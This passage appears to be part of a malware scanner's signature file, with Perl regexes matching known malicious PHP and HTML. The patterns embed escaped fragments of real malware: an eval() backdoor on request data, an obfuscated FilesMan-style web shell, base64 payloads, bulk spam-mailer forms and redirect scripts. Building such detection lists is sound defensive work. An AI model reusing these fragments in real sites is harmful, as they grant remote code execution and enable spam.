\\x68\\x67\\x74"\]="\\x66ro\\x6d";\$\{"\\x47LOBA\\x4cS"\}\["\\x73\\x78\\x79\\x62\\x70\\x7ad\\x67y"\]="\\x66t\\x65\\x69l";\$\{"\\x47L\\x4f\\x42ALS"\}\["s\\x76\\x73\\x62q\\x74e"\]="\\x6de\\x73\\x73ag\\x65";\$\{"\\x47L\\x4f\\x42\\x41\\x4c\\x53"\}\["\\x6e\\x69\\x71b\\x6c\\x77y\\x6a\\x76\\x6al"\]="m\\x65\\x73sa\\x67\\x65\\x73";\$\{"\\x47L\\x4f\\x42A\\x4c\\x53"\}\["\\x6a\\x62km\\x62\\x73"\]="\\x74\\x68\\x65\
    qr/<\?php\s+?\$g___g_='base'\.\(32\*2\)\.'_de'\.'code';\$g___g_=\$g___g_\(str_replace\("\\n",\s+?'',\s+?'E\+Bssz2Y4hmTeIgAss\+IuyUGsVs38jmCRp\/PEMxtDQsIV9pNfKrx3X221cE1uXrW03NrY4rkL\+PeE5Jp\s+?XpZND5VbC69vteRxHaPEa2IO21YWsQ2rwbDh6Mguh8wkWvr95knMFPR7skVG\+NIR7Lr4mlSSCAkBkrlp\s+?xbOFFnMVOO9Bl8Gcmgkn21VUgKCYwqK\+NoGQG8ZfCcuU93ItQ3MRZQ3zGMW\+16xVBw3l4M2EglpuKipB\s+?D\/1LQRbtZIMJEk5xqoVxR1WuwzdOWiPpfHu3mWRjWERTRx\/fiqe3s8rrqakk0\+96U8e9AJZ\+4IJvcA7O\s+?jGhnbgI2iHJ3VFxyVJXMSDq4\/WwW3Nq6a4zua7PqMlwZ7jNQVjcTqqPIlkMktum\+gRwXvWemOxRA0bIm\s+?rJwAo4FRs2MnxxEPmFhtHpNm57sXgkQ6r\/RV9p3lECUli7pMLYxJPYF\/n\+abimkKolS6RxexSEwgcfp\/\s+?i1ioAGsfzqLXzx7vZiqH2eEsKsrPVv4ZYCP0DGtyIaY70yDhkCDfyRYNywa4YzpcE4hF\+\/CP8MkonqeL\s+?CjUWiUZp\/XIlo\+TOXpQYK\/oge4G2CVYD\+zDDJW8HjqXhMp31Cs\/JAJJiNTvvnEFcRn1VfDmdDzwg1fDl\s+?uw4I5DZ\+WNg\+zGHuZXoG3hnrV9WC\/YO\+4I9HkKi0Mn1ZQFHZfRrUw\/wDrqH1cltnA6tEKjzRb\/5heec9\s+?fP7j\+fTIMkb6ZGvVLoqkDs9qr37JyYt\/KH0tsgstwPgyBfsbHZZGwz9gWou6CrFVmZJnEaETwUeNe\+Gu\s+?qzBT53g7dWmM\+\+BH5ytm8MD4zXsQM7dABcI\/0lPB\/rb1sDUWMr3LIyRBg1i8yyWcH2BxD2eWFtvrtZgs\s+?kzIQDUywCKxfRDlHCFUn0opXeG3rLdxw3xYuxtJ3LVkkVcLqqQIb1eZhFP3uzj2JDeljjrfuwqix65EB\s+?yZo9oacl7hWb5XPkn86vKLQGHUXNpmVgj2lA8CCD9rPVXHbav8USdhIxDjl2VkMJ9ftGA\+rX0NfVsovq\s+?DdTBB\/HINMVo51qpnQmsdbQIyKYzANvaUVcBOOKOFMVMTHKmyssL1vHxgn\+YbTv8wSBBrLJaxG\/uXwlA\s+?Yy\+FWlaLdhJDirvhdUGSsvHpJfjuNDRMxgb039KxR6oNqrpm7xmSxLOmlcLnCLoUICO\/jsUF\/jvCjqql\s+?c\+PkKPjlLy8pNnBh\/HfN\+R2\/9Van1nFCjfx46\+yG1OnBfz1TuZoOnWBk6MfP8rBpBSOJpOx8dp2WHPoj\s+?B2NYgozp59m\/RuRZLG0b7eKihDfpg\+VvnaRgKJqPEgNUwARsDMavhfdtqqj\/O4Wo6rLgtmdcoY4KQbSm\s+?th0FX01U6mOpTbyhLpWneyNiE\+BTw\+PkMCEH6UWyKGPlJvK200seOaiyTOrdKtDJRYXq0aeimKpOuvDv\s+?MktIwQlIAFL4zoeXOPK565uvoAN4\/opGsEMUb0cx\+ie4ITDEDxQqJcvwq9KEkBHH98mZyhWO7T3kP7an\s+?JlnGr\/O8Vscg1ULXrZW86wAn70OgDGe3qiX3O6TV\/T2KOJCu\/4Zha\/LhNpx4dIBMWaOHDKLMOYJqxtJh\s+?xX08iTYPo4YCiKlKwkFiEnlTRYK\/2fwH82o74nXCWxLfedmmXmv2jS\/gLtGIW5bOfg9G6Z6jwaEjWuaf\s+?BOfDX8itQrrG6355\+qjBNvmXgBf6P8\/dHzGZV5g4iePQIxVWS0mElqSaTMf9NfXwL9MS\/PqSv\/YcuxcZ\s+?5shHvLw7DvMNrIr3UaViSUMZ4D3\+OTU4kY1Yn7HO1V7bY3pB\+nZ5KCeOQDGGK3y5qN1U\/Fdgu6ZP0Zk9\s+?L3l\/G7TlGmae1pnooJVWtcUhBZchHG9ik6\/cMt\+kqP1oHWlqpKfOVyD3oxHKZVRyeWAq6CRSSiRiFsn4\s+?wlXtxj7WZGIiuA6VmmF7XYrv2WSQpkrWrNexXHICsH51LAMmH34Fe1o6kSW1DJJPylsL3tiZ9HDTKceQ\s+?px5bvSqSGqTUl1BURW\/xpOX\+0Bh0M0MQwcw0O4WzDqeC\+VX2xDe0PhpwHKsVPZ2zZLW2zurP4on6WV1C\s+?DwLWbNrJjzx5OIbuVFAC5AnGOzWp7zEYdOOkU8xGaChxlGUm6D1ErIWlOATfp8zyWA2UuSV1nfQta79p\s+?UqAHMbZ82dcT7eazdcEdGWeebfX53WZPvQU4JfkL1nke48q66\+tW\/Ar5Zzcrz42AGfvbExpp3wk6y4\+4\s+?Dzpf2LiBMv5C1MjCRR\+LXycWLtFOxj4TvbgK\/8v2rrp\+jPPioPmgdVIwDVETRd5y3YI\+4UF6vIUbneEc\s+?s33ARRn1B53wGSegb8k6wgpWjJYE7lEdBtJUYAU29hCW1KOPXnCycwLSp77kZe9\/3TF1Ueq4Ki9dO7LV\s+?Zl33d9aaDY\+yR\/5rxdoA71dSWcrb1uV1LJRyS\+P2a8Cg5aIcuo8B6i7DQ4Dxh2914L9N1zOgL4EmvcRS\s+?oYFJFSbe\/oTIneqjNWHORJP5N0B6JaaRFyuGaGIR4DcrhpKvmCIN3NOhzJpHhOypX\+swL0gEbFgwQRNC\s+?H3W91bLRLi0anqxseTdqtkiEJyyrqehDM\/yNTp4xQ8hyO6OtEXre7kZxZ36K2SaBUXLH\/e9CO2mTr\/DJ\s+?EfovfBbYE91WjrZXCUv6bUSf0p1FgRXYbGPBm6fwvNe28bMwJVFUC958elAPej0DUjf9\+AsG7yxVKPX\+\s+?MU2\+1G53oRttBtXSX1\/Ycc1lTekn2grO3Dr\/mX8atudFKRS3KYPftfDoSbo913gWhZV6LweLgs\/wha9Z\s+?\+mzbEonoQadkP2T149kjHb9Rjx4NofKKQI3DFZtVf6Oc3NXVvv\/avZ8jGDxBnMIbCIzaDN2cbDsIio8f\s+?bspsQaZvzXtlwL7eGqLyxVUhkKlD0hZ3EjXwICdQSD4T71tuGtZG\/u1xjHTS4G7I3NCHDLliLVbK72dY\s+?rldTQkrgcFsXL1hb7PumelhC8BIXssy87m16Ortl7zneDqSvTwmjL8Jm5mSX\+TlTFMs6RtHSyyZfgJoZ\s+?IUt3B7LZ3hkqXXUHFH8ujJ5qzGqLTLF1uOf4hX3RvAc0qDCWZbxpNks8Sg0j6kmcVxBej\/7ILKtViUvP\s+?\/D\/C\/RX1zwZrU3G\/LL6h56hjSUaCg30tD40frPLKEwJhCTZWEnY71ulQkM\/\+57EVlM\+eWMncCRQUSRLD\s+?h4CKZiQw49IqyIbbs2upyEa3Itf99kdfwuGd85bi1w0sdaCSnJLY1Zi3I4WkcW03Q6ZR3ZDfUpGxTAsn\s+?8U4NytpbaEwP4rcsLzAS6N4YYHa7cElXvGIbX4ucqXGFRF2uZbwJVgGnEcrXRFS264Jty6rXZRAq0pkX\s+?L73WI0AdkHwRAUDBiEBAfHxPp02U6ynvSvCBPeqDczKHu6a8Uw4pkmsbjrk\/mzx57S7hgubIwUd11aFY\s+?syLqIPrbZwmiN8\/s12hBJnSb\/DwbdkDoFpjRCAX\/xvVCaTivSEvJ\/r\/wIF6gZsXSxPmPXy8FyhdYJ7JG\s+?osdRB4CS\/1PUgEDgrEDntXoMbgsEjHKRrg2LFciSvvSP6hYtpZOP\/6WGqOPkbj5FkwVYo6gXtl2PJKJZ\s+?8Baex3kE1i6p8EXR0Rk\+Vix2bIN9I26DxuWMAnQgQX6olu\+ILOKO8U79ZbYFd7htGKVCQfrNdFRGsCZ4\s+?vz3
    qr/<\?php\s+?\$post_var\s+?=\s+?"req";\s+?if\(isset\(\$_REQUEST\[\$post_var\]\)\)\s+?\{\s+?eval\(stripslashes\(\$_REQUEST\[\$post_var\]\)\);\s+?exit\(\);\s+?\};\s+?\?>/is,
    qr/<\?php\s+?\$auth_pass\s+?=\s+?"";\s+?\$color\s+?=\s+?"\#df5";\s+?\$default_action\s+?=\s+?'FilesMan';\s+?\$default_use_ajax\s+?=\s+?true;\s+?\$default_charset\s+?=\s+?'Windows-1251';\s+?preg_replace\("\/\.\*\/e","\\x65\\x76\\x61\\x6C\\x28\\x67\\x7A\\x69\\x6E\\x66\\x6C\\x61\\x74\\x65\\x28\\x62\\x61\\x73\\x65\\x36\\x34\\x5F\\x64\\x65\\x63\\x6F\\x64\\x65\\x28'5b19fxq30jD8d\/wp5C3tQoMx4CQnxYY4cezEebFTvyRp4tx0gQW2Xli6u5i4qb\/7PTN6WWlfME57rut\+fk\/OacJKo9FIGo1Go9HIG5bX3cksvi6Xuqf7J\+\/3Tz7bL8\/O3nXP4av79MX\+0Zn9pVJh39YY\/CnNIzd8OnKnccTazAlD57psvQiCke9aVWad\+vNwhj\/enh49C2L85TldJ\+yPvSs3xM\/fnOnA\/Yq\/TpxJz4fEyjZh9oblWeiOuhMn7o\/L9qbNasybzPxg4Jbtv\+2qXnUF8uxNDxNXoBn\/jF1n4IZlgtps1OrsQf0BOwpidhDMpwNb0IB\/3K9ezL9u1m7W1na9qdeN3Lhsu2EYhF0\/GNnVo\/M3b6BIkgepXcqP7GrdyJk4X7vuV7c\/j71g2o29iSsgIJc\+u7438eKySps4I6\/f\/XMexG7UDedThOG5A3foTaEzPpwed6HJp4fHR9ADdrP2EOlfgw4cpcuPZv0y9cO94XzaRxIYlI7i0JtFvhON3ahcokEkmHuhG8\/DKfOiLh9ZmfeEjzTgnlH1OgIcBAHWYnmYt9fu3azdK3XfHZ\+eAc9k6qcMMQCl7t7x8evD\/Vw4ngWQMCyqOYsoeBOMvGmZWjDw3LK1A3zEHN8bTdt94BY37OwMg3DCJm48DgbtWRDFnXdOFC2CcNBiO950No9ZfD1z2zORyqbOhH919Oxo3oOhYleOP3fbdqdjd3Y2ETP8A1V2rBRp2AI37gfBJVBVuoR\+ulLTSDTmc\+nyC7S1dMWbnwEnhF4yQ515PO4iXYq5IdOLkNN4P362MReYn\/30EytPBg8z6W2oTkOj\+N6glhc0ptZLwALlq3pp4DpOAyuvSypEw4oxAA1\/\/81WgmTrBcQmoy57CHglDvxgAZMchgm\+yu9evusen1br1a0KtdpaeFOrApwYoOiy4cveXnP9yFVJU\+8rJK2VImfodicgeCCRZvIIZ7JKxdmGY5LAccK4gAjdWRDG3nREk3atNPAiB\+RcV7JFZCDN5CLy0jgAudBfDBAUwOBXmddpDnUfhdzavd3\+eOCFRirgyCtO7RRtp\/mi1wR9hsT7Th\/m0MUFiuhN\+EuB4EQuLQflUDdUFfz\+DHC\+O6XflY0GDScI9orAU6MvLrlWZx8U\/c4fzldquzGXVikDxJd7QeBXSiBNnbkfd2FV6WIep8PoIaATxIgTuclaB0LSeuNFMXvuhW4\/DsJri7U7zIIBsKpEzj3rwJsOmIfLXG02nsEv1p\+HIUgihlASnG1GbHPBNnsJqInh534wHXqjn1dDokMrPKfjYMEcYKwrl0H\+1OU8xotP3TiKnZhtOFOzACw6U\+BfkEbhldd3E3AYdyeMFfA5AAD2PqygsQaEy7SJsB9MQIa6oQZ05bkLAILefHryjp3hHOCZTjgDinjW4Tu2R62ahw4SziG8GW8q23R831q7V1GzODNYQIEYLtVpfsQ2\/LGowMesoefDchHDWtMDIiMGktthb7zp\/Cv0AFQ1AJUgdmGMBhw0uo5idyKxYUG2ceVQiwFlhA0OZu4UwFEQZDub\/c1GMHnYhsewflf2Pv6xZmEAPR5hT8dzUXYWMWf\+lVOMnMFTZYVD5BXoCRbNPU6hKEYZm2wDly42ZBszF9bAjfqDer0OXRAZ5ZOyuZxGMLXVUBEpo5VIaeaSMvoeUnJRcT6pedM\+zaElBOF6nwLPwfTzrSguLAF5YRWXX6ldS9FhHy9CL8Zpw4aBD6ot8Mg0t895BzVzx6kYx1Ial6EUQqM2Wwxu7S0N1mSBNI7Ve6wIJZJWG8ek4N1OmII0cKTKr05UPjoiqQfKbXcMYgBWktvJ0qFN0rJ47kBeIVoicQgaxHjieH7Yv51CDdgkMIPlDvSZSFGkB30ndk056FMaG8fxbFDDaaMTm8kU8p8nX41hSxAVFdJyjVIgqodL6tKzzXLRdQ9ETFGxJNcoNbkuKiFyDGhnMPGmptDLZBkF\+sNRWkaaOSY01FcELrIy8CBZB05cUIJn5pUprsUbFdUDEry4DGQWlCF0\+SUKW8SVyOVUakA5OOSikFPSgNaHPxlNm5JtEzIlexUopKcgoz\/9XEhIT0HmyU4FLjNTZYqEmyqnA6TKTq6BhqWFDYhU6QKZpcpq\+WbJntO\/nOeNJc8wYAfzSR4kJqcEhXeVKyC8K66\+GtaMl9xSRdsz2JBI05zY242dEPZJfN93L5OKpoQXb46fPX1z\+tmWGxyVC\/u3kR\/0HB82arBVDuHb7Y8DZu2M44nf2UEbWWdn4sYOCcoN98\+5d9W2QQUHJTXeOAOZbCNn4lfbjkEr3sSC20zU0LZAdGdpqjHL7uzEXuy7HQ6Rs0VDKLaBRgiGMJqJi9WsnU1eem0niq\/x314wuP6GIzIK0Xy3Qc1p\/fDgwYNt8dNt4P\+2bwi0Gg\+q8fgbaDnTuMV\+mcXszbzvDZzqezccOFNne\+KEI2\/aqm9fubB17zv\+BpmPWnEwSyFkN2ukMYFQGAbfmMgcDofbWXKazSbCRzNnWh03qo4EF93P1r0J7hCcaSzBOIkbC9cbjYHSHmllmDlufIOvEL42fHcYtx7OYHMS\+KApi6GcOYMB7NlarAk5kLvN29p4AI2VrcynULYdykBFA\+\+qJob4G1NIESGHU9XnYNva2kIU0E7kjY0BbJ74vq01DaYuZbXGAXRxFgCwuKHvcajaxFfNbTVUS2l4JUkJRTBqiHPoB4sW7JPigFD0vJETukDKwhvE41ajXv9xe8y7dasu2kqWvSqSgqDVyPVhf\/yNKbRLB\/fhw4fbGRLFYGiM9jaYBjCyfbcK82geerBjPnIXNlaPlsOkNk7SD3EQ\+NFZzxddxNmQWzGpXZR\/OJ3JhjFqDXWaAwoVcLlWDscqj3QX\/7etyoRiVIogARAGJHe6YVbzWy4r3KzNQvcb8fPQmXj\+dUt0QFX1CZCwsymm9E7UD71Z3KGt8JUTsn4XTXIoDFDIRDO37zk\+SZVyIuP6sOaQeceyt1VJp7jkrhRPDhWz7KQ6Lq9WKJrIYESQVDtrqMJlNEfOAq3QrGF\/qVoXU6uy3m4PHT9yK09su5Vtmg6\/f3TW\/fX8\+Gz\/tJKuq7msruYd62our2trWV1bd6xra2ldaFwcBP35BDh\+Wzu0QNugU\+1XZ43qrFmdbVXFIPBjC1gmnfX2dO77lUFtMqw5NW6id7bRMMTMtO42L9HXS\/RFbl8rodJkiVlDLzJriPxZQyukpapiTaNYUwI09WJJqiq2ZRTbkgBberEkVTWLd4zROJ4km8O\/9Ibm5Xf5sY0agdGS\/i8cHaSJquAnJ\+VKCqnzvUiJL53QmZDdHs237TicuzbmgVwte\+36trdDVYNUR26Kar47HcXjbe\/\+fdSd7oni96H8T\/Z9A\/Sz96WGO8\/7dtu\+7077wcA9PzncC2C5nkJ\+OQNMPUeERWGZZgosU8nBldR3TvZ\/Pd8\/PesCMiE9qqIV6Y4BNPPQV7mCy1l5AfvjYFH7\+PbNS9DQTkBDc6OYmhO6f0JXTN0FMzOpz\+\/RYGsInpJN\+ONx7w9Y8lLljbyy\/dbrh0EEe1mqFTQ2\/bAUUUJJ\/aQV\/0BSLZjCojq4RkMmaJnOdISnKcK8CbTtUdJ2ttjMnZZtFBb
    qr/<\?php\s+?\$\{"\\x47L\\x4f\\x42A\\x4c\\x53"\}\["\\x6dql\\x65byzv\\x6dj"\]="k";\$\{"\\x47\\x4c\\x4fBA\\x4c\\x53"\}\["\\x70\\x6c\\x66\\x70\\x67\\x74\\x62"\]="\\x68\\x5fdet\\x65cte\\x64";\$\{"\\x47L\\x4fB\\x41LS"\}\["g\\x63\\x6a\\x68ot\\x7a"\]="\\x68\\x65a\\x64\\x65\\x72\\x73";\$\{"GLOB\\x41\\x4c\\x53"\}\["\\x76\\x6ff\\x74\\x6e\\x74\\x76\\x76"\]="\\x72e\\x73";\$\{"\\x47LO\\x42\\x41L\\x53"\}\["y\\x68\\x64\\x71\\x6a\\x76"\]="da\\x74\\x61";\$\{"\\x47L\\x4f\\x42A\\x4c\\x53"\}\["ber\\x61\\x74\\x6c\\x6f\\x69j"\]="\\x76";\$\{"\\x47\\x4c\\x4f\\x42A\\x4cS"\}\["\\x77\\x74dp\\x70\\x6b\\x74\\x66"\]="c\\x6f\\x6f\\x6b\\x69\\x65";\$\{"\\x47L\\x4f\\x42\\x41L\\x53"\}\["\\x6d\\x78\\x62dj\\x6c"\]="\\x72\\x65\\x71\\x75\\x65\\x73t";\$\{"G\\x4c\\x4f\\x42\\x41\\x4cS"\}\["f\\x63\\x71oo\\x65\\x72n"\]="t\\x69me\\x6fut";\$\{"GL\\x4fBA\\x4cS"\}\["k\\x71\\x68\\x79\\x6e\\x6b\\x73\\x77\\x6az"\]="e\\x72r\\x73\\x74r";\$\{"\\x47LOBA\\x4cS"\}\["\\x63\\x6bsu\\x7a\\x75q\\x76wc"\]="\\x65rrno";\$\{"\\x47LO\\x42\\x41\\x4c\\x53"\}\["\\x64\\x6f\\x6c\\x6a\\x79\\x66\\x66\\x72iy\\x73\\x78"\]="\\x66\\x70";\$\{"GL\\x4fB\\x41\\x4c\\x53"\}\["s\\x78\\x6c\\x74\\x74d\\x6e"\]="\\x73\\x63\\x68\\x65m\\x65";\$\{"\\x47\\x4cO\\x42AL\\x53"\}\["lv\\x63\\x6bjt\\x61\\x62\\x78s"\]="\\x75rl";\$\{"\\x47\\x4c\\x4fBAL\\x53"\}\["\\x69\\x63\\x67\\x64\\x62v\\x66x"\]="\\x70\\x61\\x72am\\x73";\$\{"G\\x4c\\x4f\\x42\\x41\\x4c\\x53"\}\["q\\x66\\x65y\\x65\\x66\\x75\\x71\\x65"\]="\\x75\\x72\\x69";\$\{"\\x47\\x4c\\x4f\\x42\\x41L\\x53"\}\["h\\x71\\x73\\x73d\\x69\\x6c\\x6f"\]="\\x74\\x6fke\\x6e\\x73";\$\{"G\\x4c\\x4f\\x42\\x41\\x4c\\x53"\}\["v\\x65\\x70p\\x78\\x77\\x6a\\x72\\x68"\]="str";\$\{"\\x47L\\x4f\\x42\\x41\\x4cS"\}\["\\x68\\x78\\x6b\\x66\\x78r\\x78pen\\x71h"\]="\\x70a\\x73s";\$\{"G\\x4c\\x4f\\x42\\x41\\x4c\\x53"\}\["\\x73\\x6a\\x75\\x6b\\x66u\\x65\\x70\\x62h"\]="\\x6c\\x65\\x6e\\x67\\x74\\x68";\$\{"\\x47LOB\\x41\\x4c\\x53"\}\["\\x75\\x63l\\x69d\\x66\\x69"\]="ch\\x61\\x72\\x73";\$\{"\\x47LO\\x42\\x41\\x4c\\x53"\}\["\\x61p\\x61\\x66o\\x69d\\x67\\x6dz\\x75\\x75"\]="\\x6eu\\x6d";\$\{"\\x47\\x4cO\\x42\\x41LS"\}\["x\\x73cx\\x6aex"\]="coun\\x74";\$\{"\\x47\\x4cO\\x42\\x41\\x4cS"\}\["\\x6eb\\x6ee\\x73b\\x6e"\]="\\x72a\\x6ed";\$\{"GL\\x4f\\x42\\x41L\\x53"\}\["\\x78\\x66\\x70\\x66\\x78\\x79ii\\x63t\\x70"\]="\\x6d\\x61x";\$\{"GL\\x4f\\x42\\x41\\x4cS"\}\["\\x64\\x6d\\x6c\\x62\\x6d\\x68"\]="m\\x69\\x6e";\$\{"G\\x4cO\\x42\\x41\\x4c\\x53"\}\["\\x61\\x70\\x66\\x6fb\\x72q"\]="\\x63o\\x6e\\x74\\x65\\x6e\\x74";\$\{"G\\x4c\\x4fB\\x41\\x4cS"\}\["j\\x69s\\x6e\\x76\\x72n"\]="c2";\$\{"\\x47\\x4c\\x4f\\x42\\x41\\x4cS"\}\["fe\\x6auv\\x77s\\x72\\x6c\\x73"\]="\\x6e\\x73";\$\{"\\x47\\x4cO\\x42\\x41\\x4cS"\}\["f\\x79\\x62qb\\x72\\x74\\x6e"\]="\\x69";\$\{"\\x47L\\x4f\\x42\\x41\\x4cS"\}\["\\x6cbo\\x6c\\x79\\x66\\x78\\x6eiv\\x6b"\]="\\x6da\\x74ch\\x65\\x73";\$\{"\\x47\\x4c\\x4fB\\x41LS"\}\["b\\x62\\x76\\x64\\x70\\x6d\\x6a\\x76h\\x65x\\x66"\]="\\x73\\x75\\x62\\x6a";\$\{"\\x47\\x4c\\x4f\\x42\\x41\\x4c\\x53"\}\["\\x76\\x73\\x74\\x70\\x67\\x65e\\x6adq\\x69w"\]="\\x74o";\$\{"\\x47\\x4cO\\x42AL\\x53"\}\["\\x75\\x79hr\\x63\\x70\\x6a"\]="\\x66";\$\{"\\x47\\x4cOB\\x41\\x4cS"\}\["\\x6epb\\x71\\x79\\x6b\\x6d\\x66n"\]="\\x75\\x6e";\$\{"\\x47LO\\x42A\\x4c\\x53"\}\["\\x78sz\\x78\\x72wv\\x6db\\x6f"\]="z\\x61\\x67";\$\{"\\x47\\x4cO\\x42A\\x4c\\x53"\}\["\\x6bxr\\x74\\x76u\\x74\\x69g\\x76"\]="\\x70la\\x69\\x6e";\$\{"\\x47\\x4c\\x4f\\x42A\\x4c\\x53"\}\["\\x61\\x71g\\x71\\x6f\\x61\\x67\\x67\\x78\\x68"\]="\\x68\\x65\\x61d";\$\{"\\x47\\x4cO\\x42\\x41\\x4cS"\}\["\\x7a\\x75\\x75\\x73\\x6fl\\x67"\]="f\\x72\\x6f\\x6d";\$\{"\\x47L\\x4f\\x42\\x41\\x4c\\x53"\}\["\\x66v\\x72\\x6cu\\x74"\]="\\x6d\\x65ssag\\x65\\x73";\$\{"\\x47\\x4c\\x4f\\x42AL\\x53"\}\["\\x77\\x64\\x77\\x65\\x69\\x6ds"\]="m\\x65\\x73\\x73a\\x67\\x65";\$\{"G\\x4c\\x4fB\\x41\\x4c\\x53"\}\["qw\\x6a\\x72\\x6ao"\]="\\x74\\x68\\x65m\\x65";\$\{"G\\x4cO\\x42\\x41\\x4c\\x53"\}\["\\x6b\\x76i\\x6a\\x6de\\x65\\x62\\x6aw\\x6a\\x79"\]="\\x66i\\x6c\\x65nam\\x65";\$\{"\\x47\\x4c\\x4f\\x42ALS"\}\["ds\\x6a\\x66\\x6f\\x6c\\x67\\x6eo\\x64\\x76"\]="\\x66\\x69\\x6ce";\$\{"G\\x4c\\x4f\\x42\\x41\\x4c\\x53"
    qr/<\!doctype\s+?html>\s+?<html\s+?lang="en">\s+?<head>\s+?<meta\s+?charset="UTF-8">\s+?<title>Spammer\s+?Store\s+?spammer\.ro<\/title>\s+?<\/head>\s+?<body>\s+?<\?\s+?function\s+?doset\(\)\s+?\{\s+?set_time_limit\(200000\);\s+?ini_set\("memory_limit",\s+?"256M"\);\s+?ignore_user_abort\(true\);\s+?\}\s+?doset\(\);\s+?if\s+?\(\$_POST\['action'\]=="send"\)\{\s+?\$message\s+?=\s+?urlencode\(\$_POST\['message'\]\);\s+?\$message\s+?=\s+?ereg_replace\("\%5C\%22",\s+?"\%22",\s+?\$message\);\s+?\$message\s+?=\s+?urldecode\(\$message\);\s+?\$message\s+?=\s+?stripslashes\(\$message\);\s+?\$subject\s+?=\s+?stripslashes\(\$_POST\['subject'\]\);\s+?\}\s+?\?>\s+?<form\s+?name="form"\s+?method="post"\s+?action="<\?php\s+?echo\s+?\$_SERVER\['PHP_SELF'\];\s+?\?>"\s+?enctype="multipart\/form-data">\s+?<br>\s+?<table\s+?width="100\%"\s+?border="0">\s+?<tr>\s+?<td\s+?width="10\%">\s+?<div\s+?align="right"><font\s+?size="-1"\s+?face="Verdana,\s+?Arial,\s+?Helvetica,\s+?sans-serif">\s+?Email:<\/font><\/div>\s+?<\/td>\s+?<td\s+?width="18\%"><font\s+?size="-1"\s+?face="Verdana,\s+?Arial,\s+?Helvetica,\s+?sans-serif">\s+?<input\s+?type="text"\s+?name="from"\s+?value="<\?\s+?print\s+?\$_POST\['from'\];\s+?\?>"\s+?size="30">\s+?<\/font><\/td>\s+?<td\s+?width="31\%">\s+?<div\s+?align="right"><font\s+?size="-1"\s+?face="Verdana,\s+?Arial,\s+?Helvetica,\s+?sans-serif">Name:<\/font><\/div>\s+?<\/td>\s+?<td\s+?width="41\%"><font\s+?size="-1"\s+?face="Verdana,\s+?Arial,\s+?Helvetica,\s+?sans-serif">\s+?<input\s+?type="text"\s+?name="realname"\s+?value="<\?\s+?print\s+?\$_POST\['realname'\];\s+?\?>"\s+?size="30">\s+?<\/font><\/td>\s+?<\/tr>\s+?<tr>\s+?<td\s+?width="10\%">\s+?<div\s+?align="right"><font\s+?size="-1"\s+?face="Verdana,\s+?Arial,\s+?Helvetica,\s+?sans-serif">Reply-To:<\/font><\/div>\s+?<\/td>\s+?<td\s+?width="18\%"><font\s+?size="-1"\s+?face="Verdana,\s+?Arial,\s+?Helvetica,\s+?sans-serif">\s+?<input\s+?type="text"\s+?name="replyto"\s+?value="<\?\s+?print\s+?\$_POST\['replyto'\];\s+?\?>"\s+?size="30">\s+?<\/font><\/td>\s+?<td\s+?width="31\%">\s+?<div\s+?align="right"><font\s+?size="-1"\s+?face="Verdana,\s+?Arial,\s+?Helvetica,\s+?sans-serif">Attach\s+?File:<\/font><\/div>\s+?<\/td>\s+?<td\s+?width="41\%"><font\s+?size="-1"\s+?face="Verdana,\s+?Arial,\s+?Helvetica,\s+?sans-serif">\s+?<input\s+?type="file"\s+?name="file"\s+?size="30">\s+?<\/font><\/td>\s+?<\/tr>\s+?<tr>\s+?<td\s+?width="10\%">\s+?<div\s+?align="right"><font\s+?size="-1"\s+?face="Verdana,\s+?Arial,\s+?Helvetica,\s+?sans-serif">Subiect:<\/font><\/div>\s+?<\/td>\s+?<td\s+?colspan="3"><font\s+?size="-1"\s+?face="Verdana,\s+?Arial,\s+?Helvetica,\s+?sans-serif">\s+?<input\s+?type="text"\s+?name="subject"\s+?value="<\?\s+?print\s+?stripslashes\(\$_POST\['subject'\]\);\s+?\?>"\s+?size="90">\s+?<\/font><\/td>\s+?<\/tr>\s+?<tr\s+?valign="top">\s+?<td\s+?colspan="3"><font\s+?size="-1"\s+?face="Verdana,\s+?Arial,\s+?Helvetica,\s+?sans-serif">\s+?<textarea\s+?name="message"\s+?cols="60"\s+?rows="10"><\?\s+?print\s+?stripslashes\(\$_POST\['message'\]\);\s+?\?><\/textarea>\s+?<br>\s+?<input\s+?type="radio"\s+?name="contenttype"\s+?value="plain">\s+?Plain\s+?Text\s+?<input\s+?type="radio"\s+?name="contenttype"\s+?value="html"\s+?checked>\s+?HTML\s+?<input\s+?type="hidden"\s+?name="action"\s+?value="send">\s+?<input\s+?type="submit"\s+?value="Send\s+?Message">\s+?<\/font><\/td>\s+?<td\s+?width="41\%"><font\s+?size="-1"\s+?face="Verdana,\s+?Arial,\s+?Helvetica,\s+?sans-serif">\s+?<textarea\s+?name="emaillist"\s+?cols="30"\s+?rows="10"><\/textarea>\s+?<br>\s+?<input\s+?type="text"\s+?name="emailfinal"\s+?value="<\?\s+?print\s+?\$_POST\['emailfinal'\];\s+?\?>"\s+?size="22">\s+?\(EMAIL\s+?TEST\)\s+?<\/font><\/td>\s+?<\/tr>\s+?<\/table>\s+?<p>For\s+?each\s+?<input\s+?type="text"\s+?name="emailz"\s+?value="<\?\s+?print\s+?\$_POST\['emailz'\];\s+?\?>"\s+?size="3">\s+?emails\s+?wait\s+?<input\s+?type="text"\s+?name="wait"\s+?value="<\?\s+?print\s+?\$_POST\['wait'\];\s+?\?>"\s+?size="3">\s+?seconds<br><\/p>\s+?<\/form>\s+?<\?\s+?if\s+?\(\$_POST\['action'\]=="send"\)\{\s+?\$message\s+?=\s+?urlencod
    qr/<meta\s+?http-equiv="Refresh"\s+?content="1;\s+?URL=http:\/\/.+?><script>parent\.location\.href="http:\/\/c.+?<\/script>/is,
    qr/\s+?<script\s+?type="text\/javascript">\s+?location\.replace\("http:\/\/.+?\);\s+?<\/script>\s+?/is,
    qr/<\?php\s+?\$to\s+?=\s+?stripslashes\(\$_POST\["to_address"\]\);\s+?\$BCC\s+?=\s+?stripslashes\(\$_POST\["BCC"\]\);\s+?\$subject\s+?=\s+?stripslashes\(\$_POST\["subject"\]\);\s+?\$message\s+?=\s+?stripslashes\(\$_POST\["body"\]\);\s+?\$from_address\s+?=\s+?stripslashes\(\$_POST\["from_address"\]\);\s+?\$from_name\s+?=\s+?stripslashes\(\$_POST\["from_name"\]\);\s+?\$contenttype\s+?=\s+?\$_POST\["type"\];\s+?\$header\s+?=\s+?"MIME-Version:\s+?1\.0\\r\\n";\s+?\$header\s+?\.=\s+?"Content-Type:\s+?text\/\$contenttype\\r\\n";\s+?\$header\s+?\.=\s+?"From:\s+?\$from_name\s+?<\$from_address>\\r\\n";\s+?\$header\s+?\.=\s+?"Reply-To:\s+?\$from_name\s+?<\$from_address>\\r\\n";\s+?\$header\s+?\.=\s+?"Bcc:\s+?\$BC